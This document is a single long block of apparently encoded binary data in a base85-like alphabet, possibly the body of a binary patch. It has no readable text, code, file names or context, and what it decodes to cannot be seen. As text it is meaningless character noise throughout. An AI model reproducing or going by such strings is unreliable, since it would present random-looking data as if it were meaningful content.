zdn4Aq!Fi2+gn#vj{=0|z_{Mu!F|2Uo-@aGAxVxQa|CENbzxC&)1zSoe@<1CK-{(@_ z)JF#Pea`RRqHuikeX2%j82g-sQb@WJ)r=)lNIRYI#mzB8F`x4Q8fQhh-Q)&{?P;F2 zy_wxe0b;WiAa<@B?C*@)r^*^rYYeJ6`v%VLUT>fYsc))b75ea99rCX&t<~~p z(MLue;QPnW@{lzHE)a{3X97&2Ap}|o6%xBcvfrydf6ZBjZ%m)x3CEC7mepNhqGExN2KL4g#^KzGSKkFbl zKYnqbAuWU`R@zSYy!+ogln|m}ql!CsAJ8m}d-rph0^d~url|oTgo>n!jyF$GH{b&- zsRHx-@!HAQ+8gegojO0sxC-b9#|%PA`(UyGYRBZB8$e3XyU6 z^P0`+MG|)xi3+6`NxD#cb7qmSFZ8*TQQ!ApLZ>y^KQ+Hc-H}K1cL8{^SNlbtb3UC( zO9RHI|1MHm&bloZLfaXrd?mP~_4@#3KpI34sxo=@a2ZG5HUw^pzj zeW4M0NKkmxiH9O?Xi2tEJdEW?i;!R7#1NhxFj&4NNz$DTINS9n3I!M*NArY02u-v& z|Fs=hGf(uffrLQ?OFVwSo>Pl*XdqPcqMN}^OQ`#A5UKXy2h7SG&QtS9fs&h#UUz-a z5AphN^>$IlhCqBx1%RdQ$eF19QHG3O?)PtUMz_zo!En9oHmNbuu~fkR^qlkW5H5HT zm+`GNjF3h$Wb@-v15&DJ0|SE;U<6#uUgtMg96@sIZ`%d|P~L~*3=3yynOoQO*Y%5< z3c27L#bYyfqbwXBqez1=Fnqyz0&t*!Gmu$9S+?%AHw@+fcRQO`2zM>ma+fm~V%;DVWVklRS^93yG2*1*C>vUco;H6wv|onS?|Bj=A_O|?80nVT-Hftsm-F%u`9y;-r=8szhf*_o6|Vgw z>kL$*v_beUvmv>c0L}Re6UHye~Ic0A&t=;AmbsTa;J?IzoBAELi>dGXLF| zn`yq5eHqpWA+iLW(!ip;L}kgQEuChgu}86N_Vz|jN*KugFEFa7<-!1-V)!(;P+iMZ zlP2mBUg~_o0NHR1178AU1X~#hhwLjGH%jd*;(Hnv?J`%cMa0liY@zrau21RYk@P9X zUM^(6Vj=?pb_=`g=l<9JrbI7oZ%0qFyT)v3kLxb}UY6wjv^HD6zx^%eb5Sb@+;8KHSLYC9dk#ap|)QOhF#9W?YuN6fB}gniVUZpLhs7cWc=H zzryo65cDJP{Pwvc;3-0FnH@tQa#0jgJsdDY`H3O>8L=fA4X1txv+!uxzM6PZ&vNWY zoc(VXjV7O9b0A*hTMf`=gWx+6Ywbo*HZ0y*hCeNaKRp$X2KA&+%Z61DDJ{eKTx?~U zt2DB*-cV{wi1a++nip4pZ$$aZj-h)@hM$18JyMHb4yNa$?f088Vm`gz1lRLn+tU$N z0FFe_D{Te7%j~hwIL|*k%D3rQoQRT>>TR~$qO<-T8@eaWQ_KR*Aq>$`AJzb6+59Pa z-?_uk6`{jWjiouDN~o^5elBjANa8>wtDX@1@cuzJ;zuP4=7FHreck?Gd;L3Bd%e?M zf3UrNpt-&NAE9ciAyVx2<(_*WFNym7&e~r>GQTFeZXY60yLFvE{uAy*L+}dFGLmP_ zJ^Tjjzq|51o$6%Fv@E0xV~jR+w>FMyyKVqcbWPpC<+$7wRe5cYYKPCA&tVggoZPM= zN9-Q|BYDMopHuHNw_~4h97IAA)g4j_^deF13|5_W3>Hx&TuNO+$l`%uPH(WL{^0WQ z@+(%?C#k~Y*>fg`n>rcpK(M?Q!MLh)78f5((VJ99x-(y%=MLEAL!3R>4kV9FSSkAB z-;j5?-tyi0EciclV_Wh#S9%fz0I3f8l9ukeUFk7hnV^2SA?}>7s>T!9C#JYv=|Kpt z-f+rOhq{kDNJ6T)*AZ1q=5Sbw-St~YOVGX2Mu^6~~)_@B5u(Sw^f_?-1=^)3MOJjY7539Q+>*Ld|qh${$pAPa|KH395AE z;8sIgUjE7J6YdQA9)o^{xu_uUe__3SDBuYh*aV^{S=GiuK?2z<&(SO}Ez7x*4AjUD z;zzQh6FKPrN)5O5Le2Mf%|3;sqsH8r9o4gKo*HEPDIxs-ra6=}(urM8&TH7x?!vi!tQlhgmBc+M7lVNz?!!U<6R21XL$J#^rJG)4tdfhAU}&j1YPpV1#&g!AS{Ydb z^h<{zGXHoRtYxoryYD%|oH8OT&B*s9Bi}>dk=Lf}ani-@y~gj6J&ufm@N3%W{%o7A zt*tv+I;Pv*<^mYw9BrTLVwH~G90LZm1uGzPMsBQ)$sDtWa)_c||XwMN)q*YVuz0Xt^)?JW#vOQ7A{#6Ms-%4RjVZHJJbze_(%_@I)SC1tB) zhFdm_vPP!)aCvx%2dX6=xJcrGoe~e+41pLrT(muAzA*7|4N&NlybRy8! z89gm9rZe3qa&LUJPyJ2wDa~XJX(3awy**tW75_^$PB>bPnjd$m8BtzrVtP#Km!MBym27e-i#&Wt}1fnXp%O7I5a&+Z&zT*c0wk-}*{+nGR~^g+Wqwf#&bo4% z2qzv6P9B~nlNdLY{q`RWr8zxKX@;6P1>0xzh|ExH4_bl&0lXv(Wwj~Bubd2NRic|mU4Qi;#NFz?k;Ff*@_ zU-lyxN;0|*+Y90PpCvtD^~33T$noZ3w&tPFiS1XsN_P8>$kI^L*96o+_16qk&oB!= zsQi)J<+`KV1N$^>W{Nc$(|ynME6{$2z7E-Utmg-EE==vl<5a)0C{~FTxcV@Wyr|EHz zz`yk-m8dHpsNy?9e&+jI_tRAYzA<3GQ&-&#Iqfx1uW;%YxjT0iHMsMED%V)abO5)oHVY-qdkIqNp zofm7>HxBQVmX0|G%b+jI?bEgD)5lr}YC6>qmJXfKTmo;LG|d*v5g~BxND>>iNnnOZ z{{gR4*!^tk+}e?#Ctf)o?-{=VQbJ?jHYk%X^( zvujomXX(zu$hAQmLvnl#dr(EMIo-OcleV`6NiXi5w+?3)k{B`7OCc-%=2F;{wQmu# zEfu0InIzq`#k56Z+RQMA9bId&z-jK*cSiPID5>Lak)3T6j5qZxjfW>#5Rc%5M&c)T zNHR7WO4$FCeOX7_T=c!WAFM7dcDHPk!AmyO`g~a(K?aR_TZmWTyb9On64YoZf;0(@ zt_2U2M4Q>G5WHb9SDPb+G)Yzy!R;3ogaw6!wahtp+(DeL&3C_j7VDr5cR$1s+391i z)fUVTCN~bL!RQt~qKTvl^d^&8`6ZS;U7vC;IaF@~MCnXH2;_Z= zbf3fOLnBo^yC4FYAD6s?eX@;1Ti&0zf+TXLD0-bsi3={pur4{yiRX$Y4(P+Vs%4s_ z4UCU~?mL{7NP!h1Yaz?}S$Tu)a31EUEMHhq=vkrd?o|wTJ$tDM-ePyw}oH8hc!zADxwhHxW<%LqWR=oKf9oD08IxS>N*xg(R!Hn5v19d_{<|y8>($_1;x@?6WdN}^ zvc#%!@I1u;9D=0iPQ^3KRG#x~emn{O z{|Alq?KX|fFpXTseE)wkl+U@X?Bs{ATG^4C0Gp+@{!O^I`2T&_y|c>W@xy7=izFl^P_vqc zN2p#@D6M))7fK^dkrB-H3B}!4{fFRkW$kbkpcs5Sf~c$CHye4ChwJne)qvv2AF94+ z&1@|LLI7S};q52!Ra1SppGf4F_SsX3_~H=_R_uZ@we{a@ucSVUZ(Uk*yKnWgY8Eo> zjo<6?FoLK0IX`}!y-&ZZ0j8JHFDE{;Ox*G>dNdqyD`b$tF(#Opvy_8_>mK8|#=Ni& z*O=L^YfO$yj}Ahq|0Zc}*oxl{1*x-KS^egyCwV6r{G4LvA#S-SOwJ72$9VFT#b(n` zi_u?ulJMt=#Dy)#@t(GErM~K(Q%FI54N-vfo1tfnodANRdCi=>T`+j`ewZi%aXl6V zFNK;8CMH$XHysMwdutZv`oFr)^kcM@m^tUs9Mg-OicPe z4b8P`2uT5HO3Y1#VJJfJj%8NOw+;GD=fa@hn6!raxMT^>47QE+KeEnKLa$^yf6h6x z%Y*m6$b;>xaz#-=<&b>@xHjz$)x6-pt4$pfCy|&}5GsEG<|TYn*HU68H{U~6axoL~ zi_2Q-FATNFH!iEiUuZ(xa?_e67TI6eF7XZbcV+2<_dj#*TeEb*`$yC7b%E*lI)UJA zQ-iMHTB6^`sryq24kA%sVC9f+dF{c}tOVwQO+De7L;nwN?*boHb?*HqB!S@) zc0i)>9yPSFphiJV4Cri_gc+SctXlDg(O{(2D#aNt3K%+xGG{ZEo_cJ1dh@iNYA;@T zR6wkfa0!7x0Ij!jTG1Zc9ixJ_MyQv0zrVHjOcJ!`J)iggzJEWG*?aA^*It)rJ?ptY z%dyq0iH7qwM<#U3Zem-GAQrC&y1PC8p0`cC)nm`f66hZ+oDaqR`en}RE5eOcMg$Q; zG)5AhdC}CB0ffErGO5=>0<}Exb25f(rq|FUS$V@T0Qo82rvaeNKd%T|jWG_wtc{2%Gt4JP^D>Dx1v24KjHzTJD&vwOQhd$)TYy~$$8 z{<+f<_pfii67uYbLRexb`krRD)oe?|NQJ3OS%q$Q_!fqULB``}X0+4ygtFS{6VA$L zr%RZ1_meJtxv;6f!bnvB=A@lgm2`2Ec8sM`IyP3?X>1B+f->>jLqvHq+x@3nzs4cP z*hl)O>if+$Kbs4)%|~ap`N^z#?|6#MP9I~fyW8LCi%|_44!zs0-lQHu(xl-V0AdET zoghzk<=igrGLqxVX-}0hcFVw+t&l)P=o1MK6=>;`8eV4+jMM< zkYr{NgX+C7T>b6L#C-cR6SD~;lIm|~CMJUdH8JSX-SO?r3iv;;ZK&`??{PYT9NZ;k zGHyM#TZrcRI}fJqG@tz!D+WLa?@-S9R73c7h$N#$Hd9{Z?LcCUA0dorpu8-m`AW>?C8=oYT zg1XXZ;~^vf2*l7YB9{3=z0}nQBJFP$Y(x!2V9SEjzO15og_0`drmjd!KtmT`wbg8? z`zxYxNsa#%J|^F2q}xN+vvGK7xL%>I6*^?1qcWC%;UTu$=VST zokxvN9l(s1@dK(Tyc2KoYL`2`N0O?V(mH4KY$v~*@z=*CUhHz$-=nXSkGP=z1mcLXd&TifzwC{&(0^1 zL*w${>m^JkCB*sgV8l_+Z%VZFMH{!_`y~g?o|7=U%Oi-_Q1{25;AyaK#@y8G-0IG| z#$#}AuRlgDr^eNK@(yAi3{j0VEbEttRClg;xB1Q+a$+M?Mp*IWs9K+}`dn>*kFTSc z25`(p%L2;eozW|Ksgq7z8-{b&)gS5W5H%UZ9_rvS#WL(u*LJ@f(_- z76+RfA3?0rX0C?BXS?T}qfHs7D=j7f6Yo%9DuIA|JNQd5f5t}K)R--sriC17=v$M@Rd>? z*U+irH*WQo=F~etfpMfBc3(|JbF8+`S&jfX9h+unVz5uDBL=&IN4(QZBB)=R*k!_z z^=9qI^A*KBkT9e6Og!da(ZZ137mRZ`b87tXH_$#<^2E!J!=OL!kovepjwg%i(CVZL z{ul-Skhm?qg9K@$TJPirB6)3o$@I$nV~IPOZYT0@>+^U0KE0#$`6WmDkH?khCF+eT z!Cv`G86ZFf@uUg7X0ZJ^jI+)mZ^Tabyrt5UBW&ZfnhU26iH~C*^jr^*)5EXxa4JGB z%Fp-9hp7B=BcanG3&n0`FvhTGmpc#G)zQR&=9p&_s7XL}9SO0o3(xLR<6j4J2>Tc6 zaV$VsaNwZo-^nr zv}ZcM%X`bM(JSBM6&Rdf{FfGLr<;2{u>)EtBQQl#R=Xx?RIuCzAF-?d#)p4un%Jae z-Hje<&>(Ah+pc`l3?r8JX>eF}Ot&|Nos)^`6oefrNQc?Use%BCc|NR7TdHFbERNuL ztouDIz%(g`kSu7*%#pP|kIAjVtkD~^6$0Pzo_n)jxr@q*p;6CJ!vxF5HO6XXo3W-F zYo-_;*u;dc31HsW*_4QOj)l%5%9)6ye8@XQQk(H7O}7OrClB$xy>zY+-9a!+&#GC> z`R@5WL@IO?d}fdPX;&^E1zo9*Ab=!0IS%HBEoBST52r)E1AB!zQ1zxmR;aCZRcJ&> zFL567%bZohE_T)M6(=zpb8iMJQpKl1LTEL9wn%g9jmNG++H1ACOhH{^E|TIE;YjKd zENR|Z6Lv;4SABz!uuep>E6=`~j%}}8Ea6DenkyG6}rupzUWab$zYOadM^Ez^? z#n9Bt1f+r&qL5bVp68ljuPtL0(-MiMLP<&5IZL~Xs8Buxr&iJk@tr<S~9KeSiQnwL`qi0*|O zur}6LKt~O=HeNBg_lw5x2cnFi{Q(OwQgxMiLHq;eP53c2N_*oP7;|&wH{zE;AOm>b z7RvZbl3z6AktDZcZOL?7xRGcvo82G$4M#)P-t1Fo5P_37FBuT&JswnkLb#DckzO7F zemmVsU)5?EzHC@HHEqt>92g8Z?3NR4BiWQb56870oB^Ea8b1eF#(p5O{5OsW0#pj-FvV2SUm2c$?>tZI@>_GR8jOOb0333C zjkRu8gTcL_>ds|fwiC1FmDUhDcZ%~OYNQo5*Vj&NT4PtgV71&pvt+R$`u+GidNJ6a zrya|+aY3s^M`OC(uHL?^SHSsN9r;?!9x(ATBTy%N*J@cs5Bc_rxxW4oOhyCS;!W1N zgU%mX`&L|D=X`}Q9>m)qh}eX;n1>-m4$uFRSV(Wqz|DD>#Ee8rHNYOmYVD$F2|WJH zuf$KAh9H6pRR3|=Gn3w_{-f3M66IM#)C7~7nU^dsG3#w5ia?gl&u*nUJDBj89O`(X zIsei|0n=VW3XnM&o9kn$E}0V_9;xp3zMEZf))J!jXxTy~+DqNZA;X|sE&oLuf}}tF zniKxtkX$qYL92EM4{WllpSM>36PG<31?tdOMZ=9#4n!?F&*I(OVtz9Q^Bb$RTm!%a z=kHV{3D6DDMzd}>zdd&P)RD1cnh%eRjpdDZZZs^ju{enM>D{l1Nw>1Y2H*C8Dl-K9P@Ks(3RktJxpW?9*R;JC}TF zuOCj^Ahwd89aKrwP0a1t#tR;KI@~P&I^CxUnh}8kAgz#?Bs64aMyh^jNar~FKflaa zJq)!mr8^Dd#GUS{jmG}OV2#^oT5*PhhUnlaOs;#(@6+iG&zOnra{uXR#cb{tEBzg> zNX9xy7;-p$=C~svRKl69f@TLCg<5xYSvg&+$y;4k$}hoyLK6a!#`flAfpm2|&rWaW z4V{MU>VkVu1xJX3V}V|rXNZEA^n(Bb`oX;_i7bb>Nj~o`R9^vNglNM)04rwhOZC+y zOyXMJo8{!2iF{+RJ`4lD%YEoc$+)~dE6^icGlV258Fsoq1Tugk|?Z9h4^b`C+b*k(D5U{6Wt(zzb0rAq965xdoy7# zkxEZVyuxPjcDXOTp?GI~R*L}&lqy$8tDiEmHN3Q*Iz+977~`0b%Mp2SJ#~@+e}nY&xs3qpLOcJIx(&3SV>YN2ui0(I*QtmcqPwM2m($Q zujGO_B0Kb`u`_&n;S#RQlPmPZDGc~8jY$_jLP;+s3cPl{dH6#wvh>O=2L-?~*&rJ$ zGLejIQu=@NFP!iYRgGgIh;e|1LtAlNI5qu*CX@f?Xm~I&2pHGbRc~7Mwy_-}ycNL^ z2(@OdjTV)VYH}3d{FR14PV?cs_%N=ga}8`=%#TzzPu!fbNt59~RwU}nV+QNTGUh;~ z&@k^4hz{*WC^hv1@seTZT|4oYL!s2Tn&I4roW4-rOZLib4`_IaHxAY0{e4CX=bc6< ziS02YW-q%}KBC?5O7Bqs4h6g2LuPwqf@8$4ASj%1>2U9A!reLb9km72zGJ?Z*bmow zX^{A&4OpEhrCn3HTkAl!5eny0@uILi2vhm<`6ac}Hfdjy`7jV1{zjxLI0RD|otY8M zn}rylmCsJc&X5qG$)A>)gocoF{p6^#5L0m!8e{BKs0?&|7y?)QWMv#TX-_7*3W3f- zh!WOQ`kd#vv7PX`2R&O&xore8@%lQrj(?yBbi!rZuZ+X(lC(i*vdD#=TCkNUKZp-fkjUuANW>A?EGPcQt3CD2Iq))(b zaO;Lc9G>puKSERqvGb1%2m2E!U^u8ZcvHk-=fCnE8ufRuJV|~{)`N%Y2#`zyE~Q7= zt>b0^op9HDO#HycC&WaCs-7@*dZ&PdwP1wK(!dy1S&g&By`NO1q?mFJ_MUNZYSbb@ zDQO{&7+9GZ*t~&>iUwt%ys5Ics6PYcgZH@9#})N)y~aT{L)0VSso@9zXYjP-d!K=)aHCoLr;GS3;)K&OSMje!DVBtFwNa@-s=d&AfJi0xr zo9GZxVXd1zH{=-bh8ijlH@bXKX+TK05NzJgAgy#*9)3;8#0E1`MP;@VGmp z?sT1mTUpNDn(T6q`noz1&f7(WiK^gHBE6^iP%Q{foiSEV0B2yigV^qVkNk!Ap|{oR zk+z&Wf)3dq&YUMJ8I#+CXK|BQBk9$0U!jJ1ahsn#pv%3SB7aR-4nMb}fyxb9BC`M_ zwTK<$lB@_G4^~{MD zChLjG7fB>Aaz^6q2*rW6=5$g;qE=hrk{@zE`600mU$7_Y{6>vO252vICR9orh#(qz zY#)>EYb>mmZf?ZbAe{)oiPj*oms#nBh0W--8a>_Z5*Nqk>UqH?n`Y z-kok~BP`VSsc-xhdr@g@kDcZa5;@oCFy7-0RXcox=m#%ZLC;lGch0t*Ie}DdTDn5c z^Uart9%z3(Kb-ff+Nk!0c#{y~acqnb2QLX^zxX6KBR)ZFg1Anv=e;VS-CjiN3hZKn z#y{|&gb0VQF^6=8a_Mp}faz079^tKw=;ArZd80Q|gsrw~AzvE*SeHBxCNmsP-Aqcl zYrxg*Z{|l(sYmh-M3T3$AAK?OLUhA7<#nHI{GirAQ)fN4FAZ_k;b>x@lxHnxt zG>2PgjpX9;aGopqj`(n(Aa46JZ<|cNPkNdRE!9f~O!is#?$Sk~qo^*mIJ^e25^q_p zRTNH2_eA*tLBh5}99>pcF4wix0;=8=^!fXZS53jAuyx;xv%<~=@-H+NCcEL?E!mqO zmm|1Tey&~J8NY~mo>!9`2jxXm*2d{mB%NxeqahgH)DOAvU}wm}8^ccW0rgAW*&h2! zm^BY_;FM^s-tVmiV1AnGG0PFBGny*6k2@(GatWkiToCWJjSFH)2m!}x^6sU3lR9n^ zZTS$z1SQ!PPC}qC{gL!m{Kg{0=8{k8OtzHM(-U zW9Gyhd)3S{+7AUl(_G;$eQ^Ws!@SsD?=G7}^tbA5R_jOfTbU3h7@ufwHwoC6)>S`i zIICG)7|x1-V_q^FR8HU1TghQ{$!86R^)k0qGaQzx?Kev}u$oGGbi`*-V=8Vw~4Em`dLFh`rDJ2iS!r(d3fSOwDNW&TwYcrMnJhcvSUw`Xkak z;CW&4CHgFcZ2Cb(YZ##DM^=*UyURVAx}fa&_O)5Y&PTwqzwkZGD~t)odo|8MPpXdz zBvu%gz^%Hq<2);j5I54zHXyRh`?Tg}DH$OdgnAO!YquOS59)3f^qityUdS700YO<^ zZauWQe!o}C8vM;HO}Ifgl1$y{ewIY?eVfDr#+6*qsF1uKOCmq@IIJ_&W0(7zkskN) z?`kPk@XIreQt62boGL%fjT$qH8ic%XF9h$NM@|Z*^)tbI#UOQg<`)wec#T|5Bg%Ij zNY#%?P5-pF%6tlw^O^ME3k5ctG@{3CMI`NSI)Ds{wxLvM1WdMm|sLW=6X}07)UGBZta3TqM)zuT} z;*i+cUX9=RHEvN22^#b;KF)jin*VS%4|`*nh8s=7Y2m7b+WH*3kww3TfZ+4k1$1PI zvN6QzS2hMRv07lfGiz}{GD}|~-b^v)O_YNXqeawwz{pSr-mlO9XY5164wgr_OT22YH{7>^qhVe}`&}fFeGCu?r_K$0j3(aq z=Rg)Y9N!P*4<~Us#9F(Z)1aa<|Lpi^qdeXOpK;gkslo3Osg0>J4qx!Kxghh32|KLT zZY^1A#xRo|7TsIynmS?p;wiHN_^(rQINIs$h^z)T@9CyDp_~3sqnjS*Js;S1T;^;b zNlsObj}2bBd4tS`^pzTN=X_ z4UjYV8;Am|4X=;7eUk0WsPKZemq!xM$lfX^ev+Md=D)Z=U(A&kw*6_IHkhZ69nn^M zkA-?}K$u0x_FJ5o4W@o-CYbuMpADuy)O2uje?-V5xfQom0Zjm1NI#qs}Ka zP7i@lBJF=EP*CqY=1!8{6T?;CH!wZQ?hBQf%$Ram{`oIN5Wj+7pbyR6?u;!M^*!&U z)0%aJAC%Zs@iz!Ge`)5g%f0MDc&LBq2W4u(B*Cv=MtWaui*DC`OF5#DGquG|%=#CZ zJ<;vH_@bWO1wv29-&R_}K&%*(E5t4A_69ku(?G=y62SU}3BT}o3TsFXGuCuHhG(n! z*kvq_pS|io)Mbx9jW`#8T7B+R8DTX8zxIaYC74?FGb8Uf9nx3wjw5+C)%E-%aoPh_ z_lr3&$3iOR?p)2hc;;CB&XIgbq~k!=dR(XQ*Skrr!x3q-#8nxJwZGFx^!U32d%WYP zrpH;w@gt-ds;eFkU@|}3>!bg>UK8oT7YI0A#)zzvUJJK%yQAT-3_+}I&>#WceC^!@ z29srkr#+Pr-5D%q>>G`%S3NPq@BR5mFJ?H3OI+%sjn5lv&ic{_76K8+jX0BWs6ULf z8J^G3uOM1GBCLi`1>K@CiFLQ#DvkrbmO?y;++(g`#R0QZ^%>^^25|&F z(I86Aa_}bc4jR3PirR+%DA>W*5H_)m32JyUIgkVC8I{iMmA#fH37c`U^JGGTu*4@r zOd_hOGrg1gzb<2m8o#xMM^)c4qB&eXITW{UP!S8`iA+BE3ESr^-)r`>nOap>z$`hD zghitaegQm%8c0-+yYE^E3le>3 zJW~U=7a~YVdPDeh#>tw};E{4^b4q78cR*IK8qK?;l+eH&T4C0k!!>i>qF^ZsRRzoA zh)2Uf33|Eh@wdFHX8n~YAxsr}j;cfud#n5LxBL$TFSTV3%$qjGwFtCd6^g&eA)ip6 zy^zq{t99CIh*8Wk4bR_5i6A^E!~U>V7;BArWpi*8ZbCm#!g5F=m3iu%sCTp76Y4jP}C_lN~T@!Y{6hQ@BCtsnkr;oaJvzD{GDOB~f zDa*%uNl~7ffqi%LC1QGcaN3?e9l+=RU-bG|3FV&h| zP?wq&s7uvOp-s2r38i@Os@7E9RuPXXs+p0jROiMow0{#c^fwyZ-R>Qaf0FK%h~`WUt<3a_VC&YdV2GeDEYz&{)4c!c8biWD#ct1f}6oay~$ZpHhiH1%%41#RF)CACbUJvHlihX2V`(=DD}Ph|&;0H8dr{ z3x|l&%-X)ZK0^yJlM{_4&ExPAW*@MqnImb?FY?21vYzNk3J{Q*-%fsxHs&+xEWZf} zB7pyD)R}|~u~hc<4M-B_zk=m6I>V6D(^TbD(9soG?-ozBJ-j_}Hh9}vep^qJ#dB)z zA|lY@I%f-#-3lXwHmqkRAGtI!G?3#CJx6o!M1!V6=p~PrLsd5;4>?TH%2^eXNT499 zsk)_%@OPogUu@+yoHA3zf35aD{KPC!#TOtC>zudUrfPA2OJ(QT%X1M^?BF%3g8LL^ zL$eydZnhtQZMy=n)s{-h;`7YK{q!cxvvjj4^l&!L)6l}nYuCweIg&9tI$P4 z@BJBai)3xkD>Q7W8wnsjkuEf&nTa8XD6H$J+ks4n$T#Nlf&j{W5z6aKD+C*&A z*CCbgl}AWHY79uR`;1jPMBlKL7gxx-&^P6XouS5B_wa#G<((JC3PV-Ts-srxv;1{h zb)B41o*)EL-f$SvBw17`ilW_J!!JjJO`^P_+iz8~Il1757dfwQp0fN}bR8LbBkEin zsLSiLF@JU1+ui)cek&GNlLdB%J<28z>DXMTlZ`VbS8s|P-Pdl#$0S~VKe2s?os0z3 zaDWbNoH0eh+O`rrN*}FhdEQDsP6xysJKYZlh?kuz{vq4YwJt`uGM+ama6cW!igddl zT}0U_l<8CXIPJthS`xpu&;&Kp+iEH&R>ePL^F<7uS3F!hK93#UZESVir`5u4#2MP3 zsp7E)A#}SxRk5TT59dpcqervViGNc01C$pw8>I3AX&~HlM+iPHZpiow*uNEREp@-9 zU&PHsiPdVHH$zOXDf3YUChfuyTMUNCzQ9?}AsIUdP&e4WyC!9$Es%cemoK6UsJgX6 zL9Q>QmLV^QkMKQ?*yPQneKRWP#gj()KJoEH{tv*)^snvz%za zwb!#4w9A=g7@-}*0ZfZ%kS?-bR1y&Zx(43#>GqC`@7whc-Hvlh4BL!^TE~; z=FLSSh2zAyS^GGjkVJ2&AKRx^v3jaq}09DE95j zKu#}iWM?>MnEU_Y-ryGt!1W?y)Ei%-02d@wEFQ?y)ZV+Ar$Up9$b1xOG$Y8USN)Ont59o^*1R123pLyiS9nGg*K9z4VJ6^4Mi7GOpD){r zdCnnC=Z5ROhh|q__AOZ|v;ov=;OLh=HCB*J{%SMDvUa@7Z|fISMa83;SCg0NS@VFV zhU>XGozkhy)s6H>^#nBfz>Cx|TXdJZ1F-JB2m=I{XJFQQb&AKK+*X^@E(8ndbGPoUXI#HNrospg-vAfRMg*RlS`{XQYanLq|ef1NeOFZ=xC!eQ&k|VNFJM~uc%;=o- zY`^+tp6N=V+5KGKEVvBk;V{t^Cff#V2zcJ#cX%rVbp~?~h z;F3713hYh-;DGw`LtkvDqdzLRSw3B96`MU|U zpvscHnNVM{lTtEN$wWtoD!*#Ns%`Vas{Qj4&`T}WQH01cpU%cr^BW6Q-g0DIHDg%+ zi#RW09+j4P)Ey?cT882X>kNcAK~sr#G2otb4DbM!$L@2NyBD9{-m9X?M;lldnGXXg zOvD?fai|u*c~BmWtjdfA_=fqi;ME?_iJxw;8YUrrx^$u(g{@GFflUZV1BQvVLXr$d zq4b0tMd3*=DI)FxbMFx}qTe1?`N}Pi^J5RNvg~JR`sHn2tOD8ey|)3$9nI}_|EWy* zR$gI98QlRSipM4qe&6h0K&-n19FZ5s#X0Xfjs8UpF>>R(4Hp5*=^h|BODOEVPP9x9 z6mZFtzf4E5_&$kgf`-Z{qH*^zrZbv}9{or9Bx`De`}T5^sLZogcdDm}^`dZdtduM z{&0pNHsh6HX99-sCSmz5_lMJla@NOB!>Q@4>*6Pv4q^%z$=jV?qfRj$88S8OOyM)} zN2FOT^@UzW{H4xPCLX27h(giVnDz03Kp#XJN+KTOHl8KLA)+J~1JzG*mJHBUWGN_pdRg)~zK$?H>1*QbUX_cc$QbX|NB!c?p@Qd$7B zv_9jHeLZed9V~Mb7lV!&ZEF zV*mSz&LPR^0lDBI#U(r6vhGRGudFjGs00@Gg(ZE_EIzz=Q@To9%yMGc(b+YQGgor;B4>0&g4#$ z&W$C{cYcr244Jf)KZ&Kl{moyB)Xmr?64&KL%x=Q&g`}$U6-GvlvycN)m>oM9g`YrM z&%aXsafHm|ESZV%<4hKw4DG|n&_44VNWC$c-1YmCSCl8O3kY-04u_Mo0|;7*%+kN) z-o5ca+W*kZfYUW;pE9&lA3Ohj5rvI>+5OIU;PmJkz|G2gHm@riD(-@^?Aa?Spn0Rm zN`tEEF@m}00ZjnlepIxo;s}!tgvF-w4F1Pv2t7jkO-Sl06FaviQQE}*s_&3dfk~$cVKx z+TTr~+{Fz<7ItO_qtNM%a02;z(;XKj^V=zt2h<3ARX(_WcEDPfe+lkvq>;lcSl&>} z9&Ji4CglHBzPrsHi05-B>DFCy5oz4jAmfxTgd1nik@!0UvGIYx8cmgT z+8z02!=0M)F1s8@IZe zWPU`m62&QQ0782N&}m33BKQ)9G&2w-(%&o?Lr;Gfu{I8G-M-{xG$6PDjEnSz_Arp5 z#Ni8!#6JoaiQ757!_w;wdIiW1_;q!IL@0gAxwgj?A zpb!FWXX8Cd?uyhfP}fK-@`KZ@jZ-;0d+-mrIqF;)n3bCRA{|E)_Iq_OHSO!amqo+I zJRI^aU}1r-SwRK;pXH1?J3670cv=1NpoVi~j)Mv8J#}zkXk%XYayG*M3(Fq$%qU8A zhF2JRNV7CJj#1{=qi5)<`r*OaNN@oJdpO91$n7J+xK~{xGA*zCY8ErwHt+je0iwSSnkZj{}W=o!(Jw}TH}^tt{f{(6%n#M*czEbS$M zNoa>&B@%GRc^R53@zIcF=cHzQy4Ov&Ih`NAk~(3ArZ@Y2QrZ_X-inX}tkXXTPL8IFcallWn6l8F&EEbRJUtiq({pV0 z`~L^?1L;Rb)WVgVYY$^9jHtfCLq)M)mxVp3M8d8g9x0v`R1*K<{&j} zXSfmi-MAjT;Qo;?3~*c-*P||Xxk=!8h;tvA0;i{#Rb#)a^DXC`gM<)RSKB}=qae1Q zc`CekokGgs_D*~w^yG-qiH~;xY{bK`^M|^;Hn*HAnfKVcD;V9>+jyWFdHdYq10HkW zuOMpNM{4=KwFlC8?UKomLL?fuHV_g3xg$LmLCZ8j=w`<_ke<9$W;=ewX7K)1Q=(u$ z4mXpz=x~kmJK_JT8mCM8S==y)h;zv=anIWbPs!tZ}L62i;aik|rfmsn{m;H(`B`^nQg`=6HTDF}W+??@%~{x=#h z(SA`Ni8#abnTs#|b)!-LL6Gm{R3qV=>MUf=V%(m$68n zw2u$x9Wo!~gV5UxBF;PRle8PLo~tD|dEucR_4>Z{L#PKOA3jbzPsW~OFzaKw8f_$W z)2IvF<|h>zfNmp>wl)T*6*6Pb4CKMfONoWEl>@PDlcODvs6x~eCdc^XC z+USML-|hC|FD&O+R$g;kE)Z>C8&;T;^O}B5wFj`;mr(MYXPNkRcsWV{`yS|;v;2Jm zG&`RFJ1^WiJO>y(6Rbs+g6QTLzW#a*-CTWYe0WFBsoYT}PNq61{zu5t5!9uyBfsKQ?bWd6pq?@c za%z%C3n|Iq=Ll40Cd67hW>Q>&>vs{IL1qg zqI8e|FxFpv*z45EW)A%Rbwq^-ZlxXON_6w_!jgi+{)hVdOn z!rzM;d45gcqSWM0tS9iFE=4wU?AZwD7gM__v7#u)y5}mjCV{U6YIb5t0B_c5_w5bj z#ILGz0w$u7ygcdv(x3A_5Rx-6ev#r5X0?8w9xE z7u-MGr-m{hZ2kiT&yqn;xDW>6x{0F?JA$ zY@*KD>27foKgZ-7?@=S#`gb!1fQNi-1a&ZFcdHDua?mC;J#UZ>+aq+HD>y!1a9=D_ z173jTYcOvI`YKw-CO&O*Fxpc)gIS)J+4pNzr4zE;4(YIH! zR>_*u#EK>KZ4b8WsoDkJ_SfToUXh#Aqe;UO4cxLBD8B8hIMMXw=j6&2rG-b?ho&_C zKHhI=<7cP6O5?;YNWWp?0bY)#3nZqY 